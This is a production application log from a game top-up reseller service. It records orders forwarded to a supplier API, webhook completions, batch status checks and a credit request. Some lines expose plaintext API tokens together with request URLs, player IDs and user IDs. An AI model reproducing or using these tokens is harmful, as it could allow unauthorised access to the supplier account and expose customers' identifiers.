[2026-03-24 23:32:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"HjnfJD3ODMrrWrkxTzWeK0NBIYdVt2xq","execution_time":"2026-03-24 23:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5a0v-1774384207","operation_id":164408,"count":1} 
[2026-03-24 23:32:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"HjnfJD3ODMrrWrkxTzWeK0NBIYdVt2xq","execution_time":"2026-03-24 23:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5a0v-1774384207","operation_id":164408,"count":1} 
[2026-03-24 23:32:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"HjnfJD3ODMrrWrkxTzWeK0NBIYdVt2xq","execution_time":"2026-03-24 23:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5a0v-1774384207","operation_id":164408,"user_id":1158,"notification_type":"order_approved","reference_id":179539} 
[2026-03-24 23:32:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"HjnfJD3ODMrrWrkxTzWeK0NBIYdVt2xq","execution_time":"2026-03-24 23:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5a0v-1774384207","operation_id":164408,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 23:32:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"HjnfJD3ODMrrWrkxTzWeK0NBIYdVt2xq","execution_time":"2026-03-24 23:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5a0v-1774384207","operation_id":164408,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 23:32:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"HjnfJD3ODMrrWrkxTzWeK0NBIYdVt2xq","execution_time":"2026-03-24 23:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5a0v-1774384207","operation_id":164408,"processed":1,"errors":0} 
[2026-03-24 23:32:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"HjnfJD3ODMrrWrkxTzWeK0NBIYdVt2xq","execution_time":"2026-03-24 23:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5a0v-1774384207","operation_id":164408,"processed":1,"errors":0} 
[2026-03-24 23:32:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"HjnfJD3ODMrrWrkxTzWeK0NBIYdVt2xq","execution_time":"2026-03-24 23:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5a0v-1774384207","operation_id":164408} 
[2026-03-24 23:32:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1158  
[2026-03-24 23:32:18] production.INFO: Constructing job for order: 179541  
[2026-03-24 23:32:20] production.INFO: Handling job for order: 179541  
[2026-03-24 23:32:20] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:32:20] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:32:20] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=8f6bdf27-0f8d-484e-bab8-f1a03e1fa3e2&Player_ID=471156  
[2026-03-24 23:32:20] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=8f6bdf27-0f8d-484e-bab8-f1a03e1fa3e2&Player_ID=471156","has_body":false} 
[2026-03-24 23:32:21] production.INFO: Operation sent successfully {"operation_id":164409,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-pbcZz26C-1774384341","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo","notes":[],"created_at":"2026-03-24 23:32:21"}},"processed_data":{"order_number":"ORD-pbcZz26C-1774384341","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo"}} 
[2026-03-24 23:32:24] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-pbcZz26C-1774384341","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 23:32:24] production.INFO: Processed webhook data (normalized) {"id":"ORD-pbcZz26C-1774384341","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 23:32:24] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 23:32:24] production.INFO: SendAcceptReject: Notification queued {"user_id":107,"notification_type":"order_approved","reference_id":179541} 
[2026-03-24 23:32:24] production.INFO: Order updated successfully. Order ID: 179541, Status: completed  
[2026-03-24 23:32:24] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-pbcZz26C-1774384341","status":"completed","codes_count":0} 
[2026-03-24 23:32:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 23:33:13] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"5000.0","mainamount":"5000","operation_number":"158856930","note":"158856930","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpsck831ono7tqcbaguTE"}},"user_id":663} 
[2026-03-24 23:33:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 23:33:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 23:33:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 23:33:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 23:33:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 23:33:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 23:33:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 23:33:15] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 23:33:15] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18727,"user_id":663,"amount":5000.0,"admins_notified":7} 
[2026-03-24 23:34:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"judrG7qYKEQeosY8EfjsXeIQgB9AdUDv","execution_time":"2026-03-24 23:34:03"} 
[2026-03-24 23:34:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"judrG7qYKEQeosY8EfjsXeIQgB9AdUDv","execution_time":"2026-03-24 23:34:03"} 
[2026-03-24 23:35:03] production.INFO: Executing GetProducts task...  
[2026-03-24 23:35:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 23:35:03] production.INFO: Executing GetProducts task...  
[2026-03-24 23:35:05] production.INFO: async() رجع: true  
[2026-03-24 23:35:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 23:35:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 23:35:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 23:35:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 23:35:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 23:35:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 23:35:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 23:35:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 23:35:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 23:35:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 23:35:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 23:36:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"StSoA2Z9BXJA6exYMB01789vsKdM2QAL","execution_time":"2026-03-24 23:36:03"} 
[2026-03-24 23:36:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"StSoA2Z9BXJA6exYMB01789vsKdM2QAL","execution_time":"2026-03-24 23:36:03"} 
[2026-03-24 23:37:34] production.INFO: Constructing job for order: 179542  
[2026-03-24 23:37:36] production.INFO: Handling job for order: 179542  
[2026-03-24 23:37:36] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:37:36] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:37:36] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=3d1112bd-b5a1-4f97-8d25-69e93c9372d7&Player_ID=5550223406  
[2026-03-24 23:37:36] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=3d1112bd-b5a1-4f97-8d25-69e93c9372d7&Player_ID=5550223406","has_body":false} 
[2026-03-24 23:37:37] production.INFO: Operation sent successfully {"operation_id":164410,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-XJGrB-1774384657","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 23:37:37"}},"processed_data":{"order_number":"ORD-XJGrB-1774384657","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 23:37:52] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-XJGrB-1774384657","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 23:37:52] production.INFO: Processed webhook data (normalized) {"id":"ORD-XJGrB-1774384657","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 23:37:52] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 23:37:52] production.INFO: SendAcceptReject: Notification queued {"user_id":600,"notification_type":"order_approved","reference_id":179542} 
[2026-03-24 23:37:52] production.INFO: Order updated successfully. Order ID: 179542, Status: completed  
[2026-03-24 23:37:52] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-XJGrB-1774384657","status":"completed","codes_count":0} 
[2026-03-24 23:37:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 600  
[2026-03-24 23:38:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"N8sGa4aYABArQFGQ5p7T9Dyzfb51aRFt","execution_time":"2026-03-24 23:38:01"} 
[2026-03-24 23:38:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"N8sGa4aYABArQFGQ5p7T9Dyzfb51aRFt","execution_time":"2026-03-24 23:38:01"} 
[2026-03-24 23:38:48] production.INFO: Constructing job for order: 179543  
[2026-03-24 23:38:49] production.INFO: Handling job for order: 179543  
[2026-03-24 23:38:49] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:38:49] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:38:49] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=24cf3a69-c889-4e41-8ec5-e4d8c9bbc468&Player_ID=51406027265  
[2026-03-24 23:38:49] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=24cf3a69-c889-4e41-8ec5-e4d8c9bbc468&Player_ID=51406027265","has_body":false} 
[2026-03-24 23:38:50] production.INFO: Operation sent successfully {"operation_id":164411,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-hJmAhH-1774384730","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 23:38:50"}},"processed_data":{"order_number":"ORD-hJmAhH-1774384730","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 23:39:07] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-hJmAhH-1774384730","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 23:39:07] production.INFO: Processed webhook data (normalized) {"id":"ORD-hJmAhH-1774384730","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 23:39:07] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 23:39:07] production.INFO: SendAcceptReject: Notification queued {"user_id":1101,"notification_type":"order_approved","reference_id":179543} 
[2026-03-24 23:39:07] production.INFO: Order updated successfully. Order ID: 179543, Status: completed  
[2026-03-24 23:39:07] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-hJmAhH-1774384730","status":"completed","codes_count":0} 
[2026-03-24 23:39:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1101  
[2026-03-24 23:40:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"MbFc0uHzbanR3R8KO4QYNrXW2llaad9T","execution_time":"2026-03-24 23:40:02"} 
[2026-03-24 23:40:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"MbFc0uHzbanR3R8KO4QYNrXW2llaad9T","execution_time":"2026-03-24 23:40:02"} 
[2026-03-24 23:40:02] production.INFO: Executing GetProducts task...  
[2026-03-24 23:40:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 23:40:02] production.INFO: Executing GetProducts task...  
[2026-03-24 23:40:04] production.INFO: async() رجع: true  
[2026-03-24 23:40:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 23:40:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 23:40:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 23:40:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 23:40:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 23:40:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 23:40:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 23:40:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 23:40:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 23:40:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 23:40:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 23:40:39] production.INFO: Constructing job for order: 179544  
[2026-03-24 23:40:42] production.INFO: Handling job for order: 179544  
[2026-03-24 23:40:42] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 23:40:42] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:40:42] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=cb7ae949-357f-48ac-9ad1-12a7558931cb&Player_ID=0969645162  
[2026-03-24 23:40:42] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=cb7ae949-357f-48ac-9ad1-12a7558931cb&Player_ID=0969645162","has_body":false} 
[2026-03-24 23:40:42] production.INFO: Operation sent successfully {"operation_id":164412,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-pHcZ-1774384842","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 23:40:42"}},"processed_data":{"order_number":"ORD-pHcZ-1774384842","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 23:40:49] production.INFO: Constructing job for order: 179545  
[2026-03-24 23:40:51] production.INFO: Handling job for order: 179545  
[2026-03-24 23:40:51] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 23:40:51] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:40:51] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=7922b85c-e556-4c41-ac09-c9127f0bfc56&Player_ID=0969645162  
[2026-03-24 23:40:51] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=7922b85c-e556-4c41-ac09-c9127f0bfc56&Player_ID=0969645162","has_body":false} 
[2026-03-24 23:40:52] production.INFO: Operation sent successfully {"operation_id":164413,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-NyWZ8-1774384852","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 23:40:52"}},"processed_data":{"order_number":"ORD-NyWZ8-1774384852","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 23:41:21] production.INFO: Constructing job for order: 179546  
[2026-03-24 23:41:22] production.INFO: Handling job for order: 179546  
[2026-03-24 23:41:22] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:41:22] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:41:22] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=30000&uuid=6829db5f-4e24-46cd-96c4-8a8820206ca5&Player_ID=1970056114  
[2026-03-24 23:41:22] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=30000&uuid=6829db5f-4e24-46cd-96c4-8a8820206ca5&Player_ID=1970056114","has_body":false} 
[2026-03-24 23:41:23] production.INFO: Operation sent successfully {"operation_id":164414,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-SvxuOtt-1774384883","amount":3.37680000000000024584778657299466431140899658203125,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 23:41:23"}},"processed_data":{"order_number":"ORD-SvxuOtt-1774384883","amount":3.37680000000000024584778657299466431140899658203125,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 23:41:31] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-SvxuOtt-1774384883","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 23:41:31] production.INFO: Processed webhook data (normalized) {"id":"ORD-SvxuOtt-1774384883","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 23:41:31] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 23:41:31] production.INFO: SendAcceptReject: Notification queued {"user_id":45,"notification_type":"order_approved","reference_id":179546} 
[2026-03-24 23:41:31] production.INFO: Order updated successfully. Order ID: 179546, Status: completed  
[2026-03-24 23:41:31] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-SvxuOtt-1774384883","status":"completed","codes_count":0} 
[2026-03-24 23:41:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 45  
[2026-03-24 23:42:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"5VtmKulmbspqrd5Tr6iHU8GoxMTymQN9","execution_time":"2026-03-24 23:42:02"} 
[2026-03-24 23:42:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"5VtmKulmbspqrd5Tr6iHU8GoxMTymQN9","execution_time":"2026-03-24 23:42:02","total_operations":2,"sites_count":1} 
[2026-03-24 23:42:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"5VtmKulmbspqrd5Tr6iHU8GoxMTymQN9","execution_time":"2026-03-24 23:42:02","site_id":4,"site_name":"swgamessls","orders_count":2,"order_ids":["ORD-pHcZ-1774384842","ORD-NyWZ8-1774384852"]} 
[2026-03-24 23:42:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"5VtmKulmbspqrd5Tr6iHU8GoxMTymQN9","execution_time":"2026-03-24 23:42:02","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 23:42:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"5VtmKulmbspqrd5Tr6iHU8GoxMTymQN9","execution_time":"2026-03-24 23:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 23:42:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"5VtmKulmbspqrd5Tr6iHU8GoxMTymQN9","execution_time":"2026-03-24 23:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pHcZ-1774384842","operation_id":164412,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 23:42:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"5VtmKulmbspqrd5Tr6iHU8GoxMTymQN9","execution_time":"2026-03-24 23:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pHcZ-1774384842","operation_id":164412,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 23:42:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"5VtmKulmbspqrd5Tr6iHU8GoxMTymQN9","execution_time":"2026-03-24 23:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pHcZ-1774384842","operation_id":164412,"count":2} 
[2026-03-24 23:42:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"5VtmKulmbspqrd5Tr6iHU8GoxMTymQN9","execution_time":"2026-03-24 23:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pHcZ-1774384842","operation_id":164412,"count":2} 
[2026-03-24 23:42:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"5VtmKulmbspqrd5Tr6iHU8GoxMTymQN9","execution_time":"2026-03-24 23:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pHcZ-1774384842","operation_id":164412,"user_id":1071,"notification_type":"order_approved","reference_id":179545} 
[2026-03-24 23:42:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"5VtmKulmbspqrd5Tr6iHU8GoxMTymQN9","execution_time":"2026-03-24 23:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pHcZ-1774384842","operation_id":164412,"user_id":1071,"notification_type":"order_approved","reference_id":179544} 
[2026-03-24 23:42:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"5VtmKulmbspqrd5Tr6iHU8GoxMTymQN9","execution_time":"2026-03-24 23:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pHcZ-1774384842","operation_id":164412,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 23:42:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"5VtmKulmbspqrd5Tr6iHU8GoxMTymQN9","execution_time":"2026-03-24 23:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pHcZ-1774384842","operation_id":164412,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 23:42:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"5VtmKulmbspqrd5Tr6iHU8GoxMTymQN9","execution_time":"2026-03-24 23:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pHcZ-1774384842","operation_id":164412,"processed":2,"errors":0} 
[2026-03-24 23:42:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"5VtmKulmbspqrd5Tr6iHU8GoxMTymQN9","execution_time":"2026-03-24 23:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pHcZ-1774384842","operation_id":164412,"processed":2,"errors":0} 
[2026-03-24 23:42:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"5VtmKulmbspqrd5Tr6iHU8GoxMTymQN9","execution_time":"2026-03-24 23:42:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pHcZ-1774384842","operation_id":164412} 
[2026-03-24 23:42:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1071  
[2026-03-24 23:42:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1071  
[2026-03-24 23:43:09] production.INFO: Constructing job for order: 179547  
[2026-03-24 23:43:11] production.INFO: Handling job for order: 179547  
[2026-03-24 23:43:11] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:43:11] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:43:11] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=2000&uuid=45f366d0-406d-4224-acfd-a3cc67dce8f1&Player_ID=27122344  
[2026-03-24 23:43:11] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=2000&uuid=45f366d0-406d-4224-acfd-a3cc67dce8f1&Player_ID=27122344","has_body":false} 
[2026-03-24 23:43:12] production.INFO: Operation sent successfully {"operation_id":164415,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-YmWMWH5Z-1774384992","amount":3.4333445999999998576868165400810539722442626953125,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 23:43:12"}},"processed_data":{"order_number":"ORD-YmWMWH5Z-1774384992","amount":3.4333445999999998576868165400810539722442626953125,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 23:44:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"T3stD3vHF8ZCpBpK85lsQ6rulFtRWcyQ","execution_time":"2026-03-24 23:44:03"} 
[2026-03-24 23:44:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"T3stD3vHF8ZCpBpK85lsQ6rulFtRWcyQ","execution_time":"2026-03-24 23:44:03","total_operations":1,"sites_count":1} 
[2026-03-24 23:44:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"T3stD3vHF8ZCpBpK85lsQ6rulFtRWcyQ","execution_time":"2026-03-24 23:44:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-YmWMWH5Z-1774384992"]} 
[2026-03-24 23:44:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"T3stD3vHF8ZCpBpK85lsQ6rulFtRWcyQ","execution_time":"2026-03-24 23:44:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 23:44:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"T3stD3vHF8ZCpBpK85lsQ6rulFtRWcyQ","execution_time":"2026-03-24 23:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 23:44:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"T3stD3vHF8ZCpBpK85lsQ6rulFtRWcyQ","execution_time":"2026-03-24 23:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YmWMWH5Z-1774384992","operation_id":164415} 
[2026-03-24 23:44:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"T3stD3vHF8ZCpBpK85lsQ6rulFtRWcyQ","execution_time":"2026-03-24 23:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YmWMWH5Z-1774384992","operation_id":164415,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 23:44:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"T3stD3vHF8ZCpBpK85lsQ6rulFtRWcyQ","execution_time":"2026-03-24 23:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YmWMWH5Z-1774384992","operation_id":164415,"processed":0,"errors":0} 
[2026-03-24 23:44:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"T3stD3vHF8ZCpBpK85lsQ6rulFtRWcyQ","execution_time":"2026-03-24 23:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YmWMWH5Z-1774384992","operation_id":164415} 
[2026-03-24 23:44:25] production.INFO: Constructing job for order: 179548  
[2026-03-24 23:44:27] production.INFO: Handling job for order: 179548  
[2026-03-24 23:44:27] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:44:27] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:44:27] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/567/params?qty=1000&uuid=96b17672-aaad-4474-bbe0-d56645256d7c&Player_ID=221893315  
[2026-03-24 23:44:27] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/567/params?qty=1000&uuid=96b17672-aaad-4474-bbe0-d56645256d7c&Player_ID=221893315","has_body":false} 
